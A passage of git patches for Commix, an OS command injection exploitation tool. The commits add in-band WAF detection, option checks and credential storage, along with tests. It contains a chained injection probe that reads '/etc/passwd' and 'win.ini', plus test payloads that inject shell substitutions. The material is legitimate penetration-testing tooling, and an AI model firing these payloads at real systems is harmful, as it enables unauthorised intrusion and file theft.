menu.options.interpreter, menu.options.tamper, + self._common.read_input) = self._state + + def test_a_posix_target_with_no_scripts_of_its_own_is_worth_asking_about(self): + self.assertTrue(checks.may_retry_through_backticks()) + + def test_a_shell_without_one_is_not_asked_about(self): + settings.TARGET_OS = settings.OS.WINDOWS + self.assertFalse(checks.may_retry_through_backticks()) + + def test_an_interpreter_is_handed_a_program_rather_than_a_shell_line(self): + menu.options.interpreter = "php" + self.assertFalse(checks.may_retry_through_backticks()) + + def test_scripts_the_user_chose_are_left_as_they_were_chosen(self): + menu.options.tamper = "space2ifs" + self.assertFalse(checks.may_retry_through_backticks()) + menu.options.tamper = None + settings.USER_APPLIED_TAMPER = "space2ifs" + self.assertFalse(checks.may_retry_through_backticks()) + + def test_it_is_not_asked_about_twice_over(self): + settings.MULTI_ENCODED_PAYLOAD = ["backticks"] + self.assertFalse(checks.may_retry_through_backticks()) + + def test_the_answer_is_asked_for_once_and_held(self): + self.assertTrue(checks.backtick_retry_consent()) + self.assertTrue(checks.backtick_retry_consent()) + self.assertEqual(1, len(self.asked)) + self.assertIn("'$'", self.asked[0]) + + def test_a_no_is_held_just_the_same(self): + self._common.read_input = lambda message, **kwargs: self.asked.append(message) or "n" + self.assertFalse(checks.backtick_retry_consent()) + self.assertFalse(checks.backtick_retry_consent()) + self.assertEqual(1, len(self.asked)) + class ABooleanAnswerIsReadAgainstTheSameRequest(unittest.TestCase): """ What a boolean answer is compared with has to be what the same request returns with no payload. diff --git a/tests/test_options.py b/tests/test_options.py index 8381a1a932..bb5bf332af 100644 --- a/tests/test_options.py +++ b/tests/test_options.py @@ -22,7 +22,7 @@ from src.core.parse import cmdline as menu OPTIONS_STATE = ("url", "cdel", "pdel", "tor", "tor_port", "tor_type", "proxy", "ignore_proxy", - "check_tor") + "check_tor", "failed_tries") class _AValidatedRun(unittest.TestCase): """ @@ -49,6 +49,7 @@ def setUp(self): menu.options.proxy = None menu.options.ignore_proxy = False menu.options.check_tor = False + menu.options.failed_tries = None def tearDown(self): settings.print_data_to_stdout = self._print @@ -82,6 +83,25 @@ def test_an_escape_counts_as_the_character_it_stands_for(self): options.validate() self.assertEqual("\n", menu.options.cdel) +class ANumberThatCannotMeanWhatItSaysIsRefused(_AValidatedRun): + """ + Left to run, a count of less than one reaches the loop it bounds and stops it before its first + turn - and what is reported is a target that answered nothing rather than a value that could + never have been asked for. + """ + def test_a_count_of_none_is_refused_by_name(self): + menu.options.failed_tries = 0 + self.assertIn("'--failed-tries'", self.refused()) + + def test_a_negative_count_is_refused_too(self): + menu.options.failed_tries = -1 + self.assertIn("'--failed-tries'", self.refused()) + + def test_a_count_of_one_is_what_it_asks_for(self): + menu.options.failed_tries = 1 + options.validate() + self.assertEqual(1, menu.options.failed_tries) + class APortIsANumberInARange(_AValidatedRun): """ The lookup is handed the value as a number, so one that is not a number reaches it as an error diff --git a/tests/test_session.py b/tests/test_session.py index 200a91e041..2b7168f149 100644 --- a/tests/test_session.py +++ b/tests/test_session.py @@ -58,6 +58,44 @@ def tearDown(self): def stored_placeholder(self): return session_handler.check_stored_testable_value(self.URL, "addr", "GET") +class OnlyCredentialsThatAreAPairAreKept(SessionFixture): + """ + What the store holds is a username and a password. A bearer token is neither half of one - it is + a single value, with no colon in it to split on. + """ + def setUp(self): + SessionFixture.setUp(self) + self._auth = (menu.options.auth_cred, menu.options.auth_type, settings.LOAD_SESSION) + settings.LOAD_SESSION = False + + def tearDown(self): + (menu.options.auth_cred, menu.options.auth_type, settings.LOAD_SESSION) = self._auth + SessionFixture.tearDown(self) + + def _stored(self): + return session_handler.export_valid_credentials(self.URL, menu.options.auth_type) + + def test_a_bearer_token_is_left_alone(self): + menu.options.auth_type, menu.options.auth_cred = "Bearer", "eyJhbGciOiJIUzI1NiJ9.e30.abc" + self.assertFalse(session_handler.store_given_credentials(self.URL)) + self.assertIsNone(self._stored()) + + def test_a_username_and_password_are_kept_as_the_pair_they_are(self): + menu.options.auth_type, menu.options.auth_cred = "Basic", "admin:s3cr3t" + self.assertTrue(session_handler.store_given_credentials(self.URL)) + self.assertEqual("admin:s3cr3t", self._stored()) + + def test_a_password_carrying_a_colon_keeps_the_rest_of_it(self): + menu.options.auth_type, menu.options.auth_cred = "Digest", "admin:a:b" + self.assertTrue(session_handler.store_given_credentials(self.URL)) + self.assertEqual("admin:a:b", self._stored()) + + def test_nothing_is_kept_from_a_session_that_is_being_read_back(self): + menu.options.auth_type, menu.options.auth_cred = "Basic", "admin:s3cr3t" + settings.LOAD_SESSION = True + self.assertFalse(session_handler.store_given_credentials(self.URL)) + self.assertIsNone(self._stored()) + class AStandInIsRememberedOnlyWhereItHeld(SessionFixture): """ The parameter's own value is dropped on what the heuristic answered, and a technique may still From 4c15fb81185f6d97bd1bf13ecfe09d88a51e9a96 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 13 Nov 2026 06:19:03 +0200 Subject: [PATCH 1004/1023] Fixed several issues regarding the request's own HTTP headers and the values the options are given, and added detection of a WAF/IPS answering in-band and a heuristic retry through backticks --- src/core/controller/checks.py | 35 +++++++++++ src/core/controller/proof.py | 2 +- src/core/main.py | 9 +++ src/core/parse/cmdline.py | 4 +- src/core/parse/configfile.py | 2 +- src/core/requests/hooks.py | 2 +- src/utils/settings.py | 14 ++++- tests/test_waf_inband.py | 111 ++++++++++++++++++++++++++++++++++ 8 files changed, 174 insertions(+), 5 deletions(-) create mode 100644 tests/test_waf_inband.py diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index d385d1b265..29ff810ed9 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -131,6 +131,41 @@ def detect_waf(err): return True return False +""" +Whether what came back is the protection's own page rather than the application's. + +The probe above carries an obvious attack, so a target that filters at all answers it with +something other than its own page. Where that answer is a status code, 'detect_waf' already has +it; where the filter answers in-band - its own short refusal, served as a 200, with the +application below never reached - nothing reading the code alone sees anything wrong, and the run +goes on sending payloads that were refused before the sink was reached. + +Read as a ratio against what an ordinary request was answered with, rather than as a pattern: +what a refusal says is written by whoever wrote the filter, and the one thing every one of them +has in common is that it is not the page that was there before. +""" +def detect_waf_in_page(response): + if settings.WAF_ENABLED or menu.options.skip_waf or settings.HOST_INJECTION: + return False + if response is None or isinstance(response, bool) or not settings.WAF_CHECK_BASELINE: + return False + from src.core.requests import requests + requests.capture_original_page(response) + page = settings.ORIGINAL_PAGE + if not page or page == settings.WAF_CHECK_BASELINE: + return False + if difflib.SequenceMatcher(None, settings.WAF_CHECK_BASELINE, page).ratio() >= settings.WAF_CHECK_RATIO: + return False + settings.WAF_IDENTIFIED = identify_waf_in_text(page) + if settings.WAF_IDENTIFIED: + warn_msg = "'" + settings.WAF_IDENTIFIED + "' is protecting the target." + else: + warn_msg = "It seems some kind of WAF/IPS is protecting the target, answering in-band." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.WAF_ENABLED = True + persist_waf_finding() + return True + """ Detection of WAF/IPS protection. """ diff --git a/src/core/controller/proof.py b/src/core/controller/proof.py index 7924f22104..4f639057fb 100644 --- a/src/core/controller/proof.py +++ b/src/core/controller/proof.py @@ -318,7 +318,7 @@ def prove(filename, url): settings.END_LINE.LF + data) try: path = os.path.join(os.path.dirname(filename) or ".", "proof.txt") - with open(path, "w") as proof_file: + with open(path, "w", encoding=settings.DEFAULT_CODEC) as proof_file: proof_file.write(settings.strip_ansi_codes(header + ":" + settings.END_LINE.LF + data + settings.END_LINE.LF)) info_msg = "Proof of exploitation written to '" + path + "'." diff --git a/src/core/main.py b/src/core/main.py index febfc96b88..a6b6446e0a 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -264,6 +264,12 @@ def init_request(url, http_request_method): if menu.options.proxy and not menu.options.tor and not menu.options.ignore_proxy: proxy.apply_to_request(probe_request) response = opener.open(probe_request, timeout=settings.TIMEOUT) + # What an ordinary request is answered with, kept for the protection check further on - which + # reads an obvious attack's answer against this one rather than against its status code. Read + # through the same helper every other reader of a page goes through, so the body stays + # available to whatever reads this response next. + requests.capture_original_page(response) + settings.WAF_CHECK_BASELINE = settings.ORIGINAL_PAGE if response.geturl() != url: redirect_url = response.geturl() @@ -330,6 +336,9 @@ def url_response(url, http_request_method): _conn_start = time.time() response = examine_request(conn_request, conn_url) if do_waf: + # A refusal served as a 200 never reaches the branch below, which is about a status code: it is + # told apart by how little the page resembles the one an ordinary request was answered with. + checks.detect_waf_in_page(response) # The probe being blocked is the detection doing its job, not the target being unreachable: # answer the protection and reconnect with the request that was asked for. if response is False and settings.WAF_ENABLED: diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index 5b891de4dc..e19afd8b3b 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -902,7 +902,9 @@ def banner(): injection.add_option("--time-sec", default=0, action="store", - type="float", + # Written into the payload's own arithmetic, which a POSIX shell evaluates over + # integers alone - a fractional second there is a syntax error rather than a delay. + type="int", dest="timesec", help="Seconds to delay the OS response.") diff --git a/src/core/parse/configfile.py b/src/core/parse/configfile.py index 0b0d00dc2c..dd2dfcc327 100644 --- a/src/core/parse/configfile.py +++ b/src/core/parse/configfile.py @@ -102,7 +102,7 @@ def save(parser, options, filename): directory = os.path.dirname(os.path.abspath(filename)) if directory and not os.path.isdir(directory): os.makedirs(directory) - with open(filename, "w") as output_file: + with open(filename, "w", encoding=settings.DEFAULT_CODEC) as output_file: config.write(output_file) except (OSError, IOError) as err_msg: error_msg = "Unable to write the configuration file to '" + filename + "' (" + str(err_msg) + ")." diff --git a/src/core/requests/hooks.py b/src/core/requests/hooks.py index 47713fd58e..0af4c42cb5 100644 --- a/src/core/requests/hooks.py +++ b/src/core/requests/hooks.py @@ -52,7 +52,7 @@ def _load(option, kind): raise SystemExit(settings.EXIT_FAILURE) namespace = {} try: - with open(path) as script_file: + with open(path, encoding=settings.DEFAULT_CODEC) as script_file: exec(compile(script_file.read(), path, "exec"), namespace) except Exception as err_msg: error_msg = "Unable to load the " + kind + " script '" + path + "' (" + str(err_msg) + ")." diff --git a/src/utils/settings.py b/src/utils/settings.py index d74b0a7a6e..65db52b08f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -500,7 +500,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "330" +REVISION = "331" # How long an install may go without being updated before the run says so at the end. Read off the # files on disk rather than asked of anyone, so a run that never reaches the network still knows. @@ -660,6 +660,18 @@ def payload_safe_chars(): # Sent to be blocked, never to run: read-only and instant, in both shells, chained every way. WAF_CHECK_PAYLOAD = ";cat /etc/passwd|type C:\\Windows\\win.ini&&dir ../../||$(cat /etc/passwd)" +""" +How much of the ordinary page the answer to that payload has to still resemble before it is taken +for an answer at all. + +A block does not have to arrive as a status code. A filter that answers in-band serves its own +short refusal with a 200, and the application below is never reached - which anything reading the +code alone takes for an ordinary answer, and goes on sending payloads that cannot work. What gives +it away is how little that page resembles what the same target answers an ordinary request with. +""" +WAF_CHECK_RATIO = 0.5 +# What an ordinary request was answered with, kept from the first one of the run for that comparison. +WAF_CHECK_BASELINE = "" WAF_ENABLED = False # The product name a blocked response was matched to, via 'WAF_SIGNATURES' - None until (if ever) found. WAF_IDENTIFIED = None diff --git a/tests/test_waf_inband.py b/tests/test_waf_inband.py new file mode 100644 index 0000000000..bc4b5020a8 --- /dev/null +++ b/tests/test_waf_inband.py @@ -0,0 +1,111 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import unittest + +from src.utils import settings +from src.core.controller import checks +from src.core.parse import cmdline as menu + +ORDINARY = "" + ("the page this target answers with, " * 40) + "" +REFUSAL = "Hack attempt detected!" + +class _Answer(object): + """ + Only what reads a page off a response is used here, which is the body and nothing else. + """ + def __init__(self, body): + self.body = body.encode(settings.DEFAULT_CODEC) + self.headers = {} + + def read(self): + return self.body + + def info(self): + return {} + + def getheader(self, *args, **kwargs): + return None + +class ARefusalServedAsAnAnswerIsStillABlock(unittest.TestCase): + """ + A filter does not have to answer with a status code. One that answers in-band serves its own + short page with a 200 and the application below is never reached - which anything reading the + code alone takes for an ordinary answer, and goes on sending payloads that were already refused. + """ + def setUp(self): + self._state = (settings.WAF_ENABLED, settings.WAF_CHECK_BASELINE, settings.ORIGINAL_PAGE, + settings.WAF_IDENTIFIED, settings.HOST_INJECTION, menu.options.skip_waf, + settings.TARGET_NETLOC) + self._out = settings.print_data_to_stdout + self.said = [] + settings.print_data_to_stdout = self.said.append + settings.WAF_ENABLED = False + settings.WAF_IDENTIFIED = None + settings.HOST_INJECTION = False + settings.TARGET_NETLOC = "" + menu.options.skip_waf = False + settings.WAF_CHECK_BASELINE = ORDINARY + settings.ORIGINAL_PAGE = "" + + def tearDown(self): + (settings.WAF_ENABLED, settings.WAF_CHECK_BASELINE, settings.ORIGINAL_PAGE, + settings.WAF_IDENTIFIED, settings.HOST_INJECTION, menu.options.skip_waf, + settings.TARGET_NETLOC) = self._state + settings.print_data_to_stdout = self._out + + def test_a_page_that_does_not_resemble_the_targets_own_is_one(self): + self.assertTrue(checks.detect_waf_in_page(_Answer(REFUSAL))) + self.assertTrue(settings.WAF_ENABLED) + self.assertTrue(any("WAF/IPS" in str(line) for line in self.said)) + + def test_the_targets_own_page_is_not(self): + self.assertFalse(checks.detect_waf_in_page(_Answer(ORDINARY))) + self.assertFalse(settings.WAF_ENABLED) + + def test_a_page_that_merely_moved_a_little_is_not(self): + self.assertFalse(checks.detect_waf_in_page(_Answer(ORDINARY.replace("", "

1

")))) + self.assertFalse(settings.WAF_ENABLED) + + def test_nothing_is_read_into_it_where_the_check_was_turned_off(self): + menu.options.skip_waf = True + self.assertFalse(checks.detect_waf_in_page(_Answer(REFUSAL))) + + def test_one_already_found_is_not_found_again(self): + settings.WAF_ENABLED = True + self.assertFalse(checks.detect_waf_in_page(_Answer(REFUSAL))) + self.assertEqual([], self.said) + + def test_nothing_to_compare_against_answers_nothing(self): + settings.WAF_CHECK_BASELINE = "" + self.assertFalse(checks.detect_waf_in_page(_Answer(REFUSAL))) + + def test_what_is_not_a_response_answers_nothing(self): + for value in (None, False, True): + self.assertFalse(checks.detect_waf_in_page(value)) + +class TheDelayIsWrittenAsAWholeNumber(unittest.TestCase): + """ + It goes into the payload's own arithmetic, which a POSIX shell evaluates over integers alone - a + fractional second there is a syntax error rather than a delay. + """ + def test_the_option_takes_an_integer(self): + option = menu.parser.get_option("--time-sec") + self.assertEqual("int", option.type) + +if __name__ == '__main__': + unittest.main() + +# eof From a8f28c0df448b41f455201706066a59bce664eb0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 13 Nov 2026 06:23:20 +0200 Subject: [PATCH 1005/1023] Fixed the payload a finding is recorded with, which a later run could not read back --- src/core/requests/requests.py | 13 +++++++++++- src/utils/settings.py | 2 +- tests/test_requests.py | 39 +++++++++++++++++++++++++++++++++++ 3 files changed, 52 insertions(+), 2 deletions(-) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index f413cc3192..31b5892933 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -1312,6 +1312,17 @@ def _perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http payload, suffix = parameters.suffixes(payload, suffix) payload = checks.tamper_outside_single_quotes(payload, lambda part: part.replace(settings.SINGLE_WHITESPACE, whitespace)) + """ + What the caller is handed back is the payload as it stands here, before the two rewrites below. + + Those two are this request's business: the scripts rewrite it for the run they are loaded in, and + what they write belongs to that run - a variable name drawn at random this time is not the name + the next run draws. Handed back, it becomes the payload of record, which is then written into the + session and read out of it by a run that can no longer make sense of it: the stand-in in front of + it cannot be put back as the value it stood in for, because the stand-in is no longer there to + recognise. The encoding after them is the transport's business for the same reason. + """ + payload_of_record = payload payload = checks.perform_payload_modification(payload) # A parameter the target carries encoded is written back the way it arrived, the whole value at # once rather than the injected part alone - which is what makes the value it reads a valid one. @@ -1349,6 +1360,6 @@ def _perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http else: exec_time, vuln_parameter = init_injection(payload, http_request_method, url) - return exec_time, vuln_parameter, payload, prefix, suffix + return exec_time, vuln_parameter, payload_of_record, prefix, suffix # eof diff --git a/src/utils/settings.py b/src/utils/settings.py index 65db52b08f..ce16e792ad 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -500,7 +500,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "331" +REVISION = "332" # How long an install may go without being updated before the run says so at the end. Read off the # files on disk rather than asked of anyone, so a run that never reaches the network still knows. diff --git a/tests/test_requests.py b/tests/test_requests.py index 66dfabe39c..79c554dd62 100644 --- a/tests/test_requests.py +++ b/tests/test_requests.py @@ -19,6 +19,45 @@ from src.core.requests import requests, headers from src.thirdparty.six.moves import urllib as _urllib +class WhatIsRecordedIsThePayloadNotTheRequest(unittest.TestCase): + """ + The scripts rewrite a payload for the run they are loaded in, and what they write belongs to that + run - a name drawn at random this time is not the one the next run draws. Handed back, it becomes + the payload of record, written into the session and read out of it by a run that can no longer + make sense of it. + """ + PAYLOAD = "AAA;echo TAG$((1+2))$(echo TAG)TAG;" + + def setUp(self): + self._state = (list(settings.MULTI_ENCODED_PAYLOAD), settings.TARGET_OS, list(settings.WHITESPACES), + settings.INJECT_TAG, requests.init_injection) + settings.TARGET_OS = settings.OS.UNIX + settings.WHITESPACES = [settings.SINGLE_WHITESPACE] + self.sent = [] + requests.init_injection = lambda payload, method, url: (self.sent.append(payload), (0.0, "addr"))[1] + + def tearDown(self): + (settings.MULTI_ENCODED_PAYLOAD, settings.TARGET_OS, settings.WHITESPACES, + settings.INJECT_TAG, requests.init_injection) = self._state + + def _injected(self): + _, _, payload, _, _ = requests.perform_injection("", "", settings.SINGLE_WHITESPACE, self.PAYLOAD, + "addr", settings.HTTPMETHOD.GET, "http://t/a.php?addr=1") + return payload + + def test_with_no_script_in_use_it_is_what_went_out(self): + settings.MULTI_ENCODED_PAYLOAD = [] + self.assertEqual(self.PAYLOAD, self._injected()) + self.assertEqual([self.PAYLOAD], self.sent) + + def test_a_script_rewrites_what_is_sent_and_not_what_is_recorded(self): + settings.MULTI_ENCODED_PAYLOAD = ["uninitializedvariable"] + recorded = self._injected() + self.assertEqual(self.PAYLOAD, recorded) + # The request itself still carries the rewrite, which is the whole point of the script. + self.assertNotEqual(self.PAYLOAD, self.sent[0]) + self.assertIn("${", self.sent[0]) + class ResponseTimeSample(unittest.TestCase): """ Which answers count as one, when the model that times them is being filled. From 956eb4a1e9b4368d3548740efcc998a86837566f Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 13 Nov 2026 06:23:58 +0200 Subject: [PATCH 1006/1023] Fixed the contents a file is read back with, which could arrive with its newlines folded away --- src/core/controller/checks.py | 10 ++++++-- src/core/controller/file_access.py | 2 +- src/utils/settings.py | 2 +- tests/test_checks.py | 41 ++++++++++++++++++++++++++++++ 4 files changed, 51 insertions(+), 4 deletions(-) mode change 100755 => 100644 src/core/controller/checks.py diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py old mode 100755 new mode 100644 index 29ff810ed9..fed12a5691 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -6547,8 +6547,14 @@ def download_file_bytes(execute_cmd, remote_file): Only where the whole answer arrives at once. A technique that reads a byte at a time pays for every one of them, and base64 is a third longer than what it carries. """ -def file_read_encoded(execute_cmd, file_to_read): - if settings.CURRENT_TECHNIQUE not in (settings.INJECTION_TECHNIQUE.RESULTS_BASED, settings.INJECTION_TECHNIQUE.DYNAMIC_CODE): +def file_read_encoded(execute_cmd, file_to_read, technique=None): + # The one carrying this command, where the caller knows it. What is left in 'CURRENT_TECHNIQUE' + # is whichever was last announced while the parameter was being tested, which says nothing about + # what is running now - a read asked for after detection is carried by whichever technique was + # confirmed, and reading the wrong name here refuses the encoded form to a technique that can + # produce it, leaving the file to arrive through the page with its whitespace folded away. + technique = technique if technique is not None else settings.CURRENT_TECHNIQUE + if technique not in (settings.INJECTION_TECHNIQUE.RESULTS_BASED, settings.INJECTION_TECHNIQUE.DYNAMIC_CODE): return None, False if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_FILE_READ_B64 + file_to_read.replace("\\", "\\\\") + "'))\"" diff --git a/src/core/controller/file_access.py b/src/core/controller/file_access.py index 1993bd5b09..b6c963c4ff 100755 --- a/src/core/controller/file_access.py +++ b/src/core/controller/file_access.py @@ -89,7 +89,7 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, # page does to a command's output - runs of whitespace folded into one, every newline among # them - leaves a file that cannot be put back together; the encoded form has none of those # characters in it, so the bytes arrive as they are on disk. - shell, fresh = checks.file_read_encoded(execute_cmd, file_to_read) + shell, fresh = checks.file_read_encoded(execute_cmd, file_to_read, technique) if shell is None: shell, fresh = execute_cmd(cmd) if settings.TIME_RELATED_ATTACK: diff --git a/src/utils/settings.py b/src/utils/settings.py index ce16e792ad..577c5f3ee7 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -500,7 +500,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "332" +REVISION = "333" # How long an install may go without being updated before the run says so at the end. Read off the # files on disk rather than asked of anyone, so a run that never reaches the network still knows. diff --git a/tests/test_checks.py b/tests/test_checks.py index d9b753f6c6..1f8ea7bfb7 100644 --- a/tests/test_checks.py +++ b/tests/test_checks.py @@ -1147,6 +1147,47 @@ def test_nothing_is_rewritten_where_no_script_is_applied(self): settings.MULTI_ENCODED_PAYLOAD = [] self.assertEqual("${AB}Q;echo TAG;", checks.payload_with_own_value("${AB}Q;echo TAG;")) +class AFileIsAskedForWholeWhereTheTechniqueCanAnswerWhole(unittest.TestCase): + """ + Asked for as base64, a file arrives as it is on disk - nothing the page does to whitespace can + reach it. Which technique is carrying the command is what decides whether that is worth paying + for, and it is the caller that knows which one: what is left in the run-wide name is whichever + was last announced while the parameter was being tested, long before this is asked. + """ + CONTENT = "one\ntwo\n" + + def setUp(self): + import base64 + self._state = (settings.TARGET_OS, settings.CURRENT_TECHNIQUE, settings.DEFAULT_CODEC) + settings.TARGET_OS = settings.OS.UNIX + self.asked = [] + encoded = base64.b64encode(self.CONTENT.encode()).decode() + self.execute_cmd = lambda cmd: (self.asked.append(cmd), (encoded, True))[1] + + def tearDown(self): + (settings.TARGET_OS, settings.CURRENT_TECHNIQUE, settings.DEFAULT_CODEC) = self._state + + def test_the_technique_the_caller_names_is_the_one_that_decides(self): + # The run-wide name says otherwise, which is exactly the case this exists for. + settings.CURRENT_TECHNIQUE = settings.INJECTION_TECHNIQUE.FILE_BASED + content, fresh = checks.file_read_encoded(self.execute_cmd, "/etc/passwd", + settings.INJECTION_TECHNIQUE.RESULTS_BASED) + self.assertEqual(self.CONTENT, content) + self.assertTrue(fresh) + + def test_a_technique_that_reads_a_byte_at_a_time_is_not_asked_for_it(self): + settings.CURRENT_TECHNIQUE = settings.INJECTION_TECHNIQUE.RESULTS_BASED + content, fresh = checks.file_read_encoded(self.execute_cmd, "/etc/passwd", + settings.INJECTION_TECHNIQUE.TIME_BASED) + self.assertIsNone(content) + self.assertEqual([], self.asked) + + def test_with_none_named_the_run_wide_one_still_answers(self): + settings.CURRENT_TECHNIQUE = settings.INJECTION_TECHNIQUE.RESULTS_BASED + self.assertEqual(self.CONTENT, checks.file_read_encoded(self.execute_cmd, "/etc/passwd")[0]) + settings.CURRENT_TECHNIQUE = settings.INJECTION_TECHNIQUE.FILE_BASED + self.assertIsNone(checks.file_read_encoded(self.execute_cmd, "/etc/passwd")[0]) + class ASubstitutionWrittenAnotherWayIsWorthOneMoreAsk(unittest.TestCase): """ Every substitution written here opens with '$', and so does the '${IFS}' a filtered whitespace is From 13c4ccc5f30371c6310ea789845cc9557ae536a2 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 13 Nov 2026 06:24:41 +0200 Subject: [PATCH 1007/1023] Fixed the technique in hand being shared between workers rather than held by each --- src/core/controller/checks.py | 2 +- src/core/controller/handler.py | 2 +- src/utils/settings.py | 24 ++++++++++++++++++++++-- tests/test_checks.py | 32 ++++++++++++++++++++++++++++++++ 4 files changed, 56 insertions(+), 4 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index fed12a5691..9978a866e6 100644 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -6553,7 +6553,7 @@ def file_read_encoded(execute_cmd, file_to_read, technique=None): # what is running now - a read asked for after detection is carried by whichever technique was # confirmed, and reading the wrong name here refuses the encoded form to a technique that can # produce it, leaving the file to arrive through the page with its whitespace folded away. - technique = technique if technique is not None else settings.CURRENT_TECHNIQUE + technique = technique if technique is not None else settings.current_technique() if technique not in (settings.INJECTION_TECHNIQUE.RESULTS_BASED, settings.INJECTION_TECHNIQUE.DYNAMIC_CODE): return None, False if settings.TARGET_OS == settings.OS.WINDOWS: diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py index 460ee69ddb..82dcd7a224 100755 --- a/src/core/controller/handler.py +++ b/src/core/controller/handler.py @@ -149,7 +149,7 @@ def _prioritize_confirmed_boundary(prefixes, suffixes, separators, whitespaces): Announce the technique about to be tested, re-checking tamper compatibility now that it and the target OS are known. """ def _announce_technique(injection_type, technique): - settings.CURRENT_TECHNIQUE = technique + settings.set_technique(technique) checks.tamper_scripts(stored_tamper_scripts=True) announced = (settings.CHECKING_PARAMETER, checks.technique_label(injection_type, technique)) already_announced = settings.LAST_ANNOUNCED_TECHNIQUE == announced diff --git a/src/utils/settings.py b/src/utils/settings.py index 577c5f3ee7..c690231cce 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -500,7 +500,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "333" +REVISION = "334" # How long an install may go without being updated before the run says so at the end. Read off the # files on disk rather than asked of anyone, so a run that never reaches the network still knows. @@ -767,8 +767,28 @@ class OS(object): TEMPFILE_BASED_STATE = False OOB_STATE = False -# The technique currently being announced/tested. +""" +The technique being tested right now, asked about by whatever needs to know what is carrying a +command - how a file is worth fetching, say, which is one answer for a technique that gets the +whole of it at once and another for one that pays per byte. + +Held per thread, with the last one announced anywhere as the fallback: several workers share a run, +and which technique one of them is on says nothing about what another is doing. Read off a single +name, a worker asks its question about whichever technique some other worker happened to announce +last - and a caller that knows which one it means should pass it rather than ask at all. +""" CURRENT_TECHNIQUE = None +_CURRENT_TECHNIQUE = _threading.local() + +# Mark this thread as testing the technique named, and leave it as the run's own last word on it. +def set_technique(technique): + global CURRENT_TECHNIQUE + _CURRENT_TECHNIQUE.name = technique + CURRENT_TECHNIQUE = technique + +# What this thread is on, or the last one announced where this thread has announced nothing itself. +def current_technique(): + return getattr(_CURRENT_TECHNIQUE, "name", None) or CURRENT_TECHNIQUE TIME_RELATED_ATTACK = False TIME_RELATED_ATTACK_WARNING = False LAST_COMPLETED_TECHNIQUE = None diff --git a/tests/test_checks.py b/tests/test_checks.py index 1f8ea7bfb7..c80431b41b 100644 --- a/tests/test_checks.py +++ b/tests/test_checks.py @@ -14,6 +14,7 @@ """ import io +import threading import unittest from tests._testutils import stage @@ -1188,6 +1189,37 @@ def test_with_none_named_the_run_wide_one_still_answers(self): settings.CURRENT_TECHNIQUE = settings.INJECTION_TECHNIQUE.FILE_BASED self.assertIsNone(checks.file_read_encoded(self.execute_cmd, "/etc/passwd")[0]) +class WhatOneWorkerIsTestingIsNotWhatAnotherIs(unittest.TestCase): + """ + The technique in hand is one worker's own. Several share a run, and the one a worker is on says + nothing about what another is doing - read off a single name, a worker asks its question about + whichever technique some other worker happened to announce last. + """ + def setUp(self): + self._state = settings.CURRENT_TECHNIQUE + settings.set_technique(settings.INJECTION_TECHNIQUE.RESULTS_BASED) + + def tearDown(self): + settings.set_technique(self._state) + + def test_a_worker_announcing_its_own_does_not_move_another(self): + seen = {} + def worker(): + settings.set_technique(settings.INJECTION_TECHNIQUE.TIME_BASED) + seen["worker"] = settings.current_technique() + thread = threading.Thread(target=worker) + thread.start() + thread.join() + self.assertEqual(settings.INJECTION_TECHNIQUE.TIME_BASED, seen["worker"]) + self.assertEqual(settings.INJECTION_TECHNIQUE.RESULTS_BASED, settings.current_technique()) + + def test_a_worker_that_announced_nothing_reads_the_runs_last_word(self): + seen = {} + thread = threading.Thread(target=lambda: seen.__setitem__("worker", settings.current_technique())) + thread.start() + thread.join() + self.assertEqual(settings.INJECTION_TECHNIQUE.RESULTS_BASED, seen["worker"]) + class ASubstitutionWrittenAnotherWayIsWorthOneMoreAsk(unittest.TestCase): """ Every substitution written here opens with '$', and so does the '${IFS}' a filtered whitespace is From 6a6a6dfe885d726e981df5e8e1865ee99df0cdbe Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 13 Nov 2026 06:25:18 +0200 Subject: [PATCH 1008/1023] Fixed the HTTP traffic written with `--har`, which kept each response body compressed and its timestamps without a zone --- src/core/requests/headers.py 